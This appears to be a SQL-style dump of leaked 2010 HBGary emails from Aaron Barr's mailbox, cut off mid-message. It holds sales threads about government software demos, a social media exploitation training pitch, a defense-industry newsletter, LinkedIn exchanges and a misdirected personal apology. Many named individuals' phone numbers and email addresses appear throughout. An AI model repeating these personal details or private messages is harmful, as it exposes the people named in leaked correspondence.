CISSP, CFCPCEO, Information Security Solutionswww.informationsecuritysolutionsllc.com703-945-7480 –Blackberry703-869-7396 – Mobile&nbsp;From:&nbsp;Bob Slapnik [mailto:bob@hbgary.com]&nbsp;Sent:&nbsp;Thursday, September 02, 2010 3:34 PMTo:&nbsp;nolan@informationsecuritysolutionsllc.com; \'McGuffey, David C.\'; \'Blake Darche\'; \'Rich Cummings\'Subject:&nbsp;RE: Social Media, Exploitation, and Persistent Internet Operations&nbsp;Nolan, David, and Blake,&nbsp;We welcome the opportunity to deploy our software in Government spaces.&nbsp; Prior to deploying we would like to get more clear on what capabilities they need and which of our software products best fit the needs.&nbsp; What is the best next step?&nbsp; Would it be to meet with you and your Gov’t customer to match up needs and capabilities?&nbsp;The schedules for Rich and myself are remarkably open over the next few weeks.&nbsp; Please suggest a couple of days/times that work for you to get together.&nbsp;Bob Slapnik&nbsp; | &nbsp;Vice President&nbsp; |&nbsp; HBGary, Inc.Office 301-652-8885 x104&nbsp; | Mobile 240-481-1419www.hbgary.com&nbsp; |&nbsp;&nbsp;bob@hbgary.com&nbsp;&nbsp;&nbsp;From:&nbsp;Nolan Clifford [mailto:nolan@informationsecuritysolutionsllc.com]&nbsp;Sent:&nbsp;Thursday, September 02, 2010 2:14 PMTo:&nbsp;\'McGuffey, David C.\'; \'Blake Darche\'; Rich Cummings; Bob SlapnikSubject:&nbsp;RE: Social Media, Exploitation, and Persistent Internet Operations&nbsp;Great idea Dave.&nbsp;Rich and Bob – Any thoughts on this concept?&nbsp;Thanks,Nolan&nbsp;&nbsp;Nolan Clifford, CISSP, CFCPCEO, Information Security Solutionswww.informationsecuritysolutionsllc.com703-945-7480 –Blackberry703-869-7396 – Mobile&nbsp;From:&nbsp;McGuffey, David C. [mailto:DAVID.C.MCGUFFEY@saic.com]&nbsp;Sent:&nbsp;Thursday, September 02, 2010 11:17 AMTo:&nbsp;nolan@informationsecuritysolutionsllc.com; Blake DarcheCc:&nbsp;McGuffey, David C.Subject:&nbsp;RE: Social Media, Exploitation, and Persistent Internet Operations&nbsp;Nolan,&nbsp;How do we get a demo copy of the HBGary stuff for Blake to test over at Gov’t spaces?&nbsp;Once we get a lab here, we should be testing out their stuff here…but in the meantime, Blake should get a shot at it over there.&nbsp;Dave McGuffeyPrincipal Information Assurance Engineer // NSA-IAM, NSA-IEMScience Applications International Corp., Columbia, MD410-872-4051 (w)443.597.6402 (mobile)&nbsp;From:&nbsp;Nolan Clifford [mailto:nolan@informationsecuritysolutionsllc.com]&nbsp;Sent:&nbsp;Wednesday, September 01, 2010 17:10To:&nbsp;McGuffey, David C.; Blake DarcheSubject:&nbsp;FW: Social Media, Exploitation, and Persistent Internet Operations&nbsp;FYI&nbsp;&nbsp;Nolan Clifford, CISSP, CFCPCEO, Information Security Solutionswww.informationsecuritysolutionsllc.com703-945-7480 –Blackberry703-869-7396 – Mobile&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Wednesday, September 01, 2010 2:32 PMSubject:&nbsp;Social Media, Exploitation, and Persistent Internet Operations&nbsp;The rise of the social web has created an entirely new set of useful technologies and security vulnerabilities. &nbsp;It is our experience that most individuals and organizations understand there are risks to using social media but don\'t understand the full extent, from what types of use, what the real risks are, or how the vulnerabilities can be fully exploited, and how to effectively protect themselves.HBGary Federal has extensive experience in social media technologies, how to use these tools effectively, what the risks are to information exposure and exploitation, and how to more effectively protect yourself and your organization. &nbsp;We feel this is an area that needs more attention and understanding quickly as the commercial social media platforms provide to much easy opportunities for threats.Attached is our training brochure for our online and in-class social media training programs, 1/2 and full day. &nbsp;We also offer a tailored training program that is preceded by a social media penetration test. &nbsp;The information gathered during the pen test is provided in a before and after information exposure report as well as the information is used to tailor the training program to make it as relevant as possible to the organization.Visit our training web page to review and sign up for one of our online training classes or send an email to schedule in-class room training. &nbsp;You can also follow us on twitter to receive regular updates &nbsp;or become a fan of our Facebook page.Web:&nbsp;training.hbgaryfederal.comTwitter: HBGaryFedFacebook: HBGary FederalEmail:&nbsp;training@hbgaryfederal.comNo virus found in this incoming message.Checked by AVG -&nbsp;www.avg.comVersion: 9.0.851 / Virus Database: 271.1.1/3108 - Release Date: 09/02/10 02:34:00No virus found in this incoming message.Checked by AVG -&nbsp;www.avg.comVersion: 9.0.851 / Virus Database: 271.1.1/3110 - Release Date: 09/02/10 14:50:00No virus found in this incoming message.Checked by AVG -&nbsp;www.avg.comVersion: 9.0.851 / Virus Database: 271.1.1/3112 - Release Date: 09/06/10 14:34:00No virus found in this incoming message.Checked by AVG -&nbsp;www.avg.comVersion: 9.0.851 / Virus Database: 271.1.1/3135 - Release Date: 09/14/10 14:34:00',4066,'aaron_hbgary_com/4066.html'),(11840,'2010-09-16','\"ExecutiveBiz\" <sender@executivebiz.com>','/aaron@hbgary.com/new/1297008864.M82410P14101Q6693.eml','aaron@hbgary.com','Defense Power Players Think Merger - What Does This Mean for Sole Source Elimination?','&nbsp; \r\n\r\n\r\n\r\n\r\nView in Browser\r\n \r\n\r\nSign Up&nbsp;| Forward | Visit Our Blog | Jobs\r\n | About Us GovconWire | ExecutiveGov | The New New\r\n Internet | GovCon Executive&nbsp; | GovConExec\r\n Magazine\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\nBy Jim\r\n GarrettsonSeptember 16,\r\n 2010\r\nDefense Power Players Think Merger - What Does This Mean for Sole\r\n Source Elimination?Defense industry experts are bracing for a major\r\n consolidation after public comments last Tuesday from Dennis Muilenburg, CEO of\r\n Boeing\'s defense, space and security division fueled rumors that the company might\r\n consider a merger with Northrop Grumman.&nbsp; Click here to read\r\n more\r\n\r\n\r\n\r\n&nbsp;\r\nA special cyber edition of GovCon Exec is\r\n coming in September - read\r\n about the contracting community\'s efforts to take the government\'s cyber abilities\r\n to the next level. Click Here\r\n to Subscribe GTEC Agrees to Buy Cybersecurity Firm Zytel; John Hillen\r\n RemarksGlobal Defense Technology & Systems, Inc. (NASDAQ: GTEC) has a deal in\r\n place to purchase Zytel Corporation (Zytel) for $26.8 million.&nbsp; Click here to read\r\n moreReturn of the Aurora Attackers?Researchers at Symantec say a new round of targeted\r\n web assaults appear to come from the same group responsible for last year\'s\r\n attacks against Google and other major U.S. businesses. Click here to read\r\n moreDIA Moves to Block Controversial\r\n Afghan War Book &nbsp;In an unusual move, the Defense Intelligence Agency has entered\r\n negotiations with St. Martin\'s Press to purchase all 10,000 copies of Operation\r\n Dark Heart, the controversial memoirs of former undercover operative Lt. Col.\r\n Anthony Shaffer. &nbsp; Click here to read\r\n more &nbsp; \'Spooky Action at a Distance,\r\n China\'s New Unbreakable Encryption ProtocolIn May, Chinese scientists created an\r\n entangled pair of tiny energy particles, hooked each one to a readable output\r\n similar to an electric telegraph, separated them 16 kilometers, and transmitted\r\n information instantaneously from one machine to the other. Why is this scary?\r\n Because it\'s the final frontier in secure communications and computation and the\r\n Chinese are catching up to us.&nbsp;Click here to read\r\n more\r\n\r\n\r\n \r\n\r\n\r\nVincent Mihalik of Wyle: Majority of Cyber Threats Could Be\r\n Reduced by Following Best Practices Security Expert Richard Clarke to Address Potomac Officers Club\r\n October 5 John Watters of iSIGHT Partners:\r\n Gravitational Pull into E-Crime Has Created a Meaningful Shift in the Risk\r\n Dimension Executive Spotlight: Frank Blaul of\r\n Equifax \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n&nbsp; \r\nBig Day at\r\n Booz: BAH Wins 5 Defense Contracts\r\nRaytheon Picks\r\n Up Trio of DoD Contracts\r\nGeneral\r\n Dynamics Inks DoD Contract, Lockheed Martin Wins Two\r\nBAE Systems\r\n Wins Pair of Army Contracts\r\nCSC Wins $228\r\n Million IT Contract from Federal Agency\r\nRaytheon Names\r\n John Bergeron to Lead Six Sigma, Corporate Mission Assurance\r\nCSC Picks Mark\r\n Rasch to Lead Cybersecurity, Privacy Consulting for NA Public Sector Unit; Sam\r\n Visner Comments\r\nAMERICAN\r\n SYSTEMS Elevates Shawn O\'Rourke to Lead Civilian Federal Market; Bill Hoover\r\n Comments \r\nClick Here for More GovConwire  \r\nBaltimore\'s\r\n First-Ever Hacking Suspect Indicted\r\nManTech Ranked\r\n One of Biggest Employers in D.C. Metro Area\r\nPayPal CISO\r\n Michael Barrett Joins National Cyber Security Alliance Board\r\nCSC Names Mark\r\n Rasch New Head for Cybersecurity, Privacy Consulting\r\nCYBERCOM Chief:\r\n America Must Secure the Internet, Safeguard Citizens\' Privacy\r\n Online\r\nClick Here for More from The New New\r\n Internet\r\n \r\n&nbsp;\r\nBooz Allen,\r\n SAIC, MITRE Assess Arlington Cemetery\'s Processes, Technology\r\nGTEC to Acquire\r\n Zytel to Expand Cyber, Intelligence Offerings\r\nQinetiQ NA to\r\n Showcase Latest Technologies at AFA Expo\r\nCSC Picks\r\n Edward Meagher to lead NA Public Sector Civil, Health Services\r\n Group\r\nManTech Named\r\n One of D.C. Metro Area\'s Biggest Employers\r\nClick Here for More from GovCon Executive  Federal CTO\r\n Aneesh Chopra to Speak at mHealth Summit \r\nPentagon\r\n Attempts to Buy Up Book on Afghan War9/11\r\n Remembrance Ceremony to be Held at Pentagon Memorial \r\nVA\r\n Governor Orders Investigation of DMV Computer Outage\r\nGov.\r\n McDonnell Investigating Cyber Schools for VirginiaClick Here for More from ExecutiveGov \r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\nSHARE THIS EMAIL:FacebookTwitterLinkedInDiggMySpace\r\n\r\n\r\n\r\n \r\n\r\nVincent\r\n Mihalik of Wyle: Majority of Cyber Threats Could Be Reduced by Following Best\r\n Practices Vincent Mihalik has more than 25 years\r\n of Department of Defense experience specializing in cybersecurity, business and IT\r\n strategic planning, IT transformation, program management, and emerging technology\r\n assessments. Throughout his career, he worked closely with the heads of the\r\n Defense Intelligence Agency and the U.S. Army G-2, as well as led congressional\r\n briefings in the U.S. House of Representatives. Mihalik has provided advisory\r\n services to the senior leadership of DIA, NGA, NRO, FBI, IRS, and U.S. Army\r\n PEO-EIS and has considerable experience in the business application of analytical\r\n solutions for the federal government. Currently serving as vice president of\r\n cybersecurity solutions at Wyle Information Systems, Mihalik has previously held\r\n leadership positions at Gartner Inc., Booz Allen Hamilton and\r\n Anteon.&nbsp; Security\r\n Expert Richard Clarke to Address Potomac Officers Club October\r\n 5Richard A. Clarke is an\r\n internationally-recognized expert on security, including homeland security,\r\n national security, cyber security, and counterterrorism. He is currently an on-air\r\n consultant for ABC News and teaches at Harvard\'s Kennedy School of\r\n Government.&nbsp; Click\r\n here&nbsp;for more information and to\r\n register&nbsp;John Watters of iSIGHT Partners:\r\n Gravitational Pull into E-Crime Has Created a Meaningful Shift in the Risk\r\n DimensionJohn Watters\' interest in\r\n cyber security intensified at the turn of the new millennium as he was looking at\r\n new investment themes. He made strategic investments in Archer Technologies and\r\n TippingPoint Technologies and a controlling investment in iDefense. When Symantec\r\n bought Riptech, Recourse and SecurityFocus on the same day in August of 2002, he\r\n realized that he was in the right place at the right time.&nbsp; He began\r\n commuting from Dallas to Washington, D.C. and became chairman and CEO, in which\r\n capacity he served through VeriSign\'s 2005 acquisition of iDefense. iDefense was\r\n Watters\' first introduction to the cybersecurity industry as an operator, not just\r\n an investor. Following the sale, Watters supported the transition to VeriSign,\r\n then took time off with his family. In 2007, he started the cyber-risk management\r\n business iSIGHT Partners, where he today serves as chairman and\r\n CEO.&nbsp;Click here to read\r\n moreExecutive Spotlight: Frank Blaul of\r\n Equifax\r\n Frank Blaul, senior vice\r\n president of government services at Equifax, spoke with ExecutiveBiz about his\r\n firm, his management style and the biggest challenges in the business\r\n today. Click here to read\r\n more\r\n\r\nA Letter from the EditorThrough our weekly emagazine and daily blog, ExecutiveBiz offers our readership an insider\'s\r\n view of news and trends shaping small, medium, and large companies within\r\n industries such as defense, technology, and health care.&nbsp; In addition to our\r\n daily blog, we\'ve launched four new media properties, GovConWire, GovConExecutive, ExecutiveGov, and TheNewNewInternet. Each week, we deliver in-depth profiles of\r\n industry leaders, candid Q&As, plus the latest news and trends, and value-add\r\n information to help you do your job better.&nbsp; You\'re a big part of the\r\n equation both online and off &#8212; which is why we want to hear from you. Have a\r\n story tip? Or an idea for a speaking event? Feel free to contact me direct. You\r\n can also follow us on Twitter, Facebook, and LinkedIn.\r\n\r\nJ.D. KathuriaEditor-in-chief ExecutiveBizo: 703-226-7010&nbsp;\r\n &nbsp;jd@executivebiz.com&nbsp;&nbsp;\r\n \r\n\r\n\r\n\r\n\r\nExecutiveBiz, 8230 Old\r\n Courthouse RoadVienna, VA 22181Update PreferencesList\r\n Unsubscribe\r\n',11275,'aaron_hbgary_com/11275.html'),(11841,'2010-09-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008864.M971388P14101Q6696.eml','\"Maria Lucas\" <maria@hbgary.com>','Re: HBGary Meeting follow up','Maria,Did this happen? &nbsp;What was the result?AaronOn Sep 14, 2010, at 4:19 PM, Maria Lucas wrote:Hi Dan&nbsp;Are you available this afternoon to review the meeting with Greg and Aaron, and next steps?Maria-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\nCell Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com &nbsp;&nbsp;\r\n\r\n',8938,'aaron_hbgary_com/8938.html'),(11842,'2010-09-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008865.M309735P14101Q6697.eml','\"andy kemp\" <akemp@apple.com>','Re: Proposal','Hey Andy.\r\n\r\nAny luck?\r\n\r\nAaron\r\n\r\nOn Sep 14, 2010, at 3:26 PM, andy kemp wrote:\r\n\r\n> good good\r\n> \r\n> i\'ll get a contact\r\n> \r\n> \r\n> On Sep 14, 2010, at 3:04 PM, Aaron Barr wrote:\r\n> \r\n>> Hi Andy,\r\n>> \r\n>> Still waiting on the COIN/Romas proposal.... any day.\r\n>> \r\n>> Do you have a contact at Pixar/Disney I could talk with?\r\n>> \r\n>> Aaron\r\n> \r\n> Andy Kemp\r\n> Homeland Defense / National Programs\r\n> \r\n> Apple Inc.\r\n> 11921 Freedom Drive\r\n> Suite 600\r\n> Reston, Virginia\r\n> 20194\r\n> \r\n> akemp@apple.com\r\n> 240-988-3476\r\n> \r\n> \r\n> \r\n> \r\n> \r\n\r\n',4362,'aaron_hbgary_com/4362.html'),(11843,'2010-09-16','\"Stark, Karl\" <kstark@phillynews.com>','/aaron@hbgary.com/new/1297008865.M747879P14101Q6698.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Introduction','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\nst1\\:*{behavior:url(#default#ieooui) }\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nok\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, September 16, 2010\r\n10:37 AM\r\nTo: Stark,\r\n Karl\r\nSubject: Re: Introduction\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nsounds good. &nbsp;want to call me @ 2pm ET? &nbsp;7195108478\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Sep 15, 2010, at 10:43 PM, Stark, Karl\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nno. my fault too. it\'s been very busy.\r\n\r\nHow\'s 2pm ET or 4pm ET or after 7pm ET\r\n\r\nKarl Stark\r\nHealth &amp; Science Editor\r\nPhiladelphia\r\nInquirer\r\n215 854-5363\r\nInquirer\'s Health &amp; Science page\r\nhttp://www.philly.com/inquirer/health_science/\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Wed 9/15/2010 8:54 PM\r\nTo: Stark, Karl\r\nCc: Bob Slapnik\r\nSubject: Re: Introduction\r\n\r\nKarl,\r\n\r\nVery sorry for my silence.&nbsp; Do you have time to talk tomorrow or Friday\r\nregarding social media?\r\n\r\nAaron\r\n\r\nOn Sep 5, 2010, at 1:16 PM, Bob Slapnik wrote:\r\n\r\n&gt; Aaron and Karl,\r\n&gt;&nbsp;\r\n&gt; I\'d like to introduce the two of you to each other.&nbsp; Karl Stark is my\r\nbrother-in-law who is a reporter at the Philadelphia Inquirer.&nbsp; Karl is\r\nsmart and creative and has ideas around location based social networking.&nbsp;\r\nAaron, I recommend you call Karl to brainstorm.\r\n&gt;&nbsp;\r\n&gt; Contact info:\r\n&gt; Karl 215-356-7403\r\n&gt; Aaron 719-510-8478\r\n&gt;&nbsp;\r\n&gt; Bob\r\n&gt;&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11965,'aaron_hbgary_com/11965.html'),(11844,'2010-09-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008865.M962172P14101Q6699.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Sony','Did anything come up on these?AaronBegin forwarded message:From: Maria Lucas &lt;maria@hbgary.com&gt;Date: September 13, 2010 7:39:16 PM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Cc: Ted Vera &lt;ted@hbgary.com&gt;Subject: Re: SonySony Electronicsanother one is Devon EnergyOn Mon, Sep 13, 2010 at 3:14 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nI think it was electronics\r\n\r\nSent from my iPhone\r\n\r\nOn Sep 13, 2010, at 4:12 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\n\r\n&gt; Hi Maria,\r\n&gt;\r\n&gt; You mentioned \"Sony Entertainment\", but I can\'t find an associated\r\n&gt; network. &nbsp;I think they fall under \"Sony Online Entertainment, LLC\".\r\n&gt; Please confirm if the information below is for the correct\r\n&gt; organization and I can run a sample EndGames report.\r\n&gt;\r\n&gt; Name &nbsp; &nbsp;Sony Online Entertainment, LLC\r\n&gt; Handle &nbsp; &nbsp;SOE-2\r\n&gt; Street &nbsp; &nbsp;8958 Terman Court\r\n&gt; City &nbsp; &nbsp;San Diego\r\n&gt; State/Province &nbsp; &nbsp;CA\r\n&gt; Postal Code &nbsp; &nbsp;92121\r\n&gt; Country &nbsp; &nbsp;US\r\n&gt; Registration Date &nbsp; &nbsp;1999-08-05\r\n&gt; Last Updated &nbsp; &nbsp;2009-06-24\r\n&gt; Comments\r\n&gt; RESTful Link &nbsp; &nbsp;http://whois.arin.net/rest/org/SOE-2\r\n&gt;\r\n&gt;\r\n&gt; VERANT-NETBLK1 (NET-64-37-128-0-1) &nbsp; &nbsp;64.37.128.0 - 64.37.191.255\r\n&gt; SOE-NETBLK2 (NET-69-174-192-0-1) &nbsp; &nbsp;69.174.192.0 - 69.174.223.255\r\n&gt; SOE-IPV6-1 (NET6-2607-FB48-1) &nbsp; &nbsp;2607:FB48:: -\r\n&gt; 2607:FB48:FFFF:FFFF:FFFF:FFFF:FFFF:FFFF\r\n&gt;\r\n&gt; Regards,\r\n&gt; Ted\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; --\r\n&gt; Ted Vera &nbsp;| &nbsp;President &nbsp;| &nbsp;HBGary Federal\r\n&gt; Office 916-459-4727x118 &nbsp;| Mobile 719-237-8623\r\n&gt; www.hbgary.com &nbsp;| &nbsp;ted@hbgary.com\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n&nbsp;&nbsp;\r\n\r\n',15940,'aaron_hbgary_com/15940.html'),(11845,'2010-09-16','\"Winterfeld, Steven P (TASC)\" <steven.winterfeld@TASC.COM>','/aaron@hbgary.com/new/1297008866.M176069P14101Q6700.eml','\"Aaron Barr\" <aaron@hbgary.com>','Accepted: Invitation: Lunch with Steve @ Fri Sep 17 12pm - 1pm (steven.winterfeld@tasc.com)','\r\n\r\n\r\nAccepted: Invitation: Lunch with Steve @ Fri Sep 17 12pm - 1pm (steven.winterfeld@tasc.com)\r\n\r\n\r\n\r\n\r\n\r\n',4428,'aaron_hbgary_com/4428.html'),(11846,'2010-09-16','\"Bill Russell via LinkedIn\" <member@linkedin.com>','/aaron@hbgary.com/new/1297008866.M532286P14101Q6701.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Discussion','\r\n\r\n  \r\n\r\n  \r\n\r\n\r\n  \r\n  LinkedIn\r\n\r\nBill Russell has sent you a message.\r\n\r\n\r\n  Date:\r\n  9/16/2010\r\n\r\n\r\n  Subject:\r\n  RE: Discussion\r\n\r\n\r\n\r\n  Hey Aaron.  Work is fine without Mark.  Actually, InfoSec is now working without both Mark and me.  I am two weeks into a new position with NGIS CSD.  I am the Director, Cyber Security Strategy reporting to the VP for Technology and Strategy Keith Glennan.  Tim McKnight hasn\'t selected a successor to manage CND services yet although I believe he has started the process of identifying candidates.\r\n\r\n\r\n\r\nFor me this was a promotion and I now commute from Herndon to Chantilly (6.2 miles) versus Herndon to AJ (47.5 lousy beltway and I95 miles).  Hard to pass that up even though I really enjoyed running the CSOC.\r\n\r\n\r\n\r\nThe CSOC forensics team looked at an HBGary product last year with little success.  Not sure what the problem was in getting it to work with their toolset.  Bil Carter is the forensics manager and cold explain it I\'m sure.  I am not familiar with Fidelis but if your solution would work for an enterprise the size of NGGN, then I would think it would have applicability to many of the federal civil networks we compete to defend.\r\n\r\n\r\n\r\nI am swamped with learning where all the cyber work is hidden in CSD and we have a Division Cyber Review with Linda Mills on 6 October.  After that should be a good time for me.\r\n\r\n\r\n\r\nBill\r\n\r\n\r\n\r\nOn 09/16/10 8:09 AM, Aaron Barr wrote:\r\n\r\n--------------------\r\n\r\nHey Bill,\r\n\r\n\r\n\r\nHows work without Mark?  I had dinner with him a month or so ago and he seemed excited and a bit wide eyed.  Big job.\r\n\r\n\r\n\r\nI was talking with someone from Fidelis (not sure if you know of them) and they had mentioned wanting to talk with Northrop Internal security folks.  And then I thought I haven\'t really talked to you since joining HBGary.  We are partnered with Fidelis to provide perimeter to host malware detection and incident response.  I would like to set up a meeting to come in a talk a bit when you have some time.\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\nView/reply to this message\r\n\r\nDon\'t want to receive e-mail notifications? Adjust your message settings.\r\n\r\n\r\n\r\n\r\n\r\n  &#169; 2010, LinkedIn Corporation\r\n\r\n',9717,'aaron_hbgary_com/9717.html'),(11847,'2010-09-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008866.M745600P14101Q6702.eml','\"Bill Russell\" <sgmrussell@gmail.com>','Re: Discussion','Cleaning now.Sandy.  I am sorry for the aggression.  I do perceive their are double standards but real or perceived that should not matter.  I should act in the way that I want to be treated by you, complexities of\r\nOur relationship aside.LoveAaronSent from my iPhoneOn Sep 16, 2010, at 11:39 AM, Bill Russell via LinkedIn &lt;member@linkedin.com&gt; wrote:\r\n\r\n\r\n\r\n  \r\n\r\n\r\n  \r\n  LinkedIn\r\n\r\nBill Russell has sent you a message.\r\n\r\n\r\n  Date:\r\n  9/16/2010\r\n\r\n\r\n  Subject:\r\n  RE: Discussion\r\n\r\n\r\n\r\n  Hey Aaron.  Work is fine without Mark.  Actually, InfoSec is now working without both Mark and me.  I am two weeks into a new position with NGIS CSD.  I am the Director, Cyber Security Strategy reporting to the VP for Technology and Strategy Keith Glennan.  Tim McKnight hasn&#39;t selected a successor to manage CND services yet although I believe he has started the process of identifying candidates.\r\n\r\n\r\n\r\nFor me this was a promotion and I now commute from Herndon to Chantilly (6.2 miles) versus Herndon to AJ (47.5 lousy beltway and I95 miles).  Hard to pass that up even though I really enjoyed running the CSOC.\r\n\r\n\r\n\r\nThe CSOC forensics team looked at an HBGary product last year with little success.  Not sure what the problem was in getting it to work with their toolset.  Bil Carter is the forensics manager and cold explain it I&#39;m sure.  I am not familiar with Fidelis but if your solution would work for an enterprise the size of NGGN, then I would think it would have applicability to many of the federal civil networks we compete to defend.\r\n\r\n\r\n\r\nI am swamped with learning where all the cyber work is hidden in CSD and we have a Division Cyber Review with Linda Mills on 6 October.  After that should be a good time for me.\r\n\r\n\r\n\r\nBill\r\n\r\n\r\n\r\nOn 09/16/10 8:09 AM, Aaron Barr wrote:\r\n\r\n--------------------\r\n\r\nHey Bill,\r\n\r\n\r\n\r\nHows work without Mark?  I had dinner with him a month or so ago and he seemed excited and a bit wide eyed.  Big job.\r\n\r\n\r\n\r\nI was talking with someone from Fidelis (not sure if you know of them) and they had mentioned wanting to talk with Northrop Internal security folks.  And then I thought I haven&#39;t really talked to you since joining HBGary.  We are partnered with Fidelis to provide perimeter to host malware detection and incident response.  I would like to set up a meeting to come in a talk a bit when you have some time.\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\nView/reply to this message\r\n\r\n\r\nDon&#39;t want to receive e-mail notifications? Adjust your message settings.\r\n\r\n\r\n\r\n\r\n\r\n\r\n  © 2010, LinkedIn Corporation\r\n\r\n\r\n',1133,'aaron_hbgary_com/1133.html'),(11848,'2010-09-16','\"SGM Bill Russell\" <sgmrussell@gmail.com>','/aaron@hbgary.com/new/1297008866.M939826P14101Q6703.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Discussion','Uh, Aaron. &nbsp; You should get an iPad. &nbsp;Bigger screen, less fat fingering....&nbsp;&nbsp;On Sep 16, 2010, at 11:42 AM, Aaron Barr wrote:Cleaning now.Sandy. &nbsp;I am sorry for the aggression. &nbsp;I do perceive their are double standards but real or perceived that should not matter. &nbsp;I should act in the way that I want to be treated by you, complexities of\r\nOur relationship aside.LoveAaronSent from my iPhoneOn Sep 16, 2010, at 11:39 AM, Bill Russell via LinkedIn &lt;member@linkedin.com&gt; wrote:\r\n\r\n\r\n\r\n  \r\n\r\n\r\n  \r\n  LinkedInBill Russell has sent you a message.\r\n  Date:\r\n  9/16/2010\r\n\r\n  Subject:\r\n  RE: Discussion\r\n\r\n  Hey Aaron.  Work is fine without Mark.  Actually, InfoSec is now working without both Mark and me.  I am two weeks into a new position with NGIS CSD.  I am the Director, Cyber Security Strategy reporting to the VP for Technology and Strategy Keith Glennan.  Tim McKnight hasn\'t selected a successor to manage CND services yet although I believe he has started the process of identifying candidates.\r\n\r\n\r\n\r\nFor me this was a promotion and I now commute from Herndon to Chantilly (6.2 miles) versus Herndon to AJ (47.5 lousy beltway and I95 miles).  Hard to pass that up even though I really enjoyed running the CSOC.\r\n\r\n\r\n\r\nThe CSOC forensics team looked at an HBGary product last year with little success.  Not sure what the problem was in getting it to work with their toolset.  Bil Carter is the forensics manager and cold explain it I\'m sure.  I am not familiar with Fidelis but if your solution would work for an enterprise the size of NGGN, then I would think it would have applicability to many of the federal civil networks we compete to defend.\r\n\r\n\r\n\r\nI am swamped with learning where all the cyber work is hidden in CSD and we have a Division Cyber Review with Linda Mills on 6 October.  After that should be a good time for me.\r\n\r\n\r\n\r\nBill\r\n\r\n\r\n\r\nOn 09/16/10 8:09 AM, Aaron Barr wrote:\r\n\r\n--------------------\r\n\r\nHey Bill,\r\n\r\n\r\n\r\nHows work without Mark?  I had dinner with him a month or so ago and he seemed excited and a bit wide eyed.  Big job.\r\n\r\n\r\n\r\nI was talking with someone from Fidelis (not sure if you know of them) and they had mentioned wanting to talk with Northrop Internal security folks.  And then I thought I haven\'t really talked to you since joining HBGary.  We are partnered with Fidelis to provide perimeter to host malware detection and incident response.  I would like to set up a meeting to come in a talk a bit when you have some time.\r\n\r\n\r\n\r\nAaron\r\nView/reply to this messageDon\'t want to receive e-mail notifications? Adjust your message settings.© 2010, LinkedIn Corporation\r\n\r\n\r\n',16499,'aaron_hbgary_com/16499.html'),(11849,'2010-09-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008867.M168414P14101Q6704.eml','\"SGM Bill Russell\" <sgmrussell@gmail.com>','Re: Discussion','Ha lol.  And oops.  I have one.  Maybe I should use it.Where is my men in black pen when I need it.Sent from my iPhone\r\nOn Sep 16, 2010, at 11:46 AM, SGM Bill Russell &lt;sgmrussell@gmail.com&gt; wrote:Uh, Aaron.   You should get an iPad.  Bigger screen, less fat fingering....\r\n  On Sep 16, 2010, at 11:42 AM, Aaron Barr wrote:Cleaning now.Sandy.  I am sorry for the aggression.  I do perceive their are double standards but real or perceived that should not matter.  I should act in the way that I want to be treated by you, complexities of\r\n\r\nOur relationship aside.LoveAaronSent from my iPhoneOn Sep 16, 2010, at 11:39 AM, Bill Russell via LinkedIn &lt;member@linkedin.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n  \r\n\r\n\r\n  \r\n  LinkedInBill Russell has sent you a message.\r\n  Date:\r\n  9/16/2010\r\n\r\n  Subject:\r\n  RE: Discussion\r\n\r\n  Hey Aaron.  Work is fine without Mark.  Actually, InfoSec is now working without both Mark and me.  I am two weeks into a new position with NGIS CSD.  I am the Director, Cyber Security Strategy reporting to the VP for Technology and Strategy Keith Glennan.  Tim McKnight hasn&#39;t selected a successor to manage CND services yet although I believe he has started the process of identifying candidates.\r\n\r\n\r\n\r\nFor me this was a promotion and I now commute from Herndon to Chantilly (6.2 miles) versus Herndon to 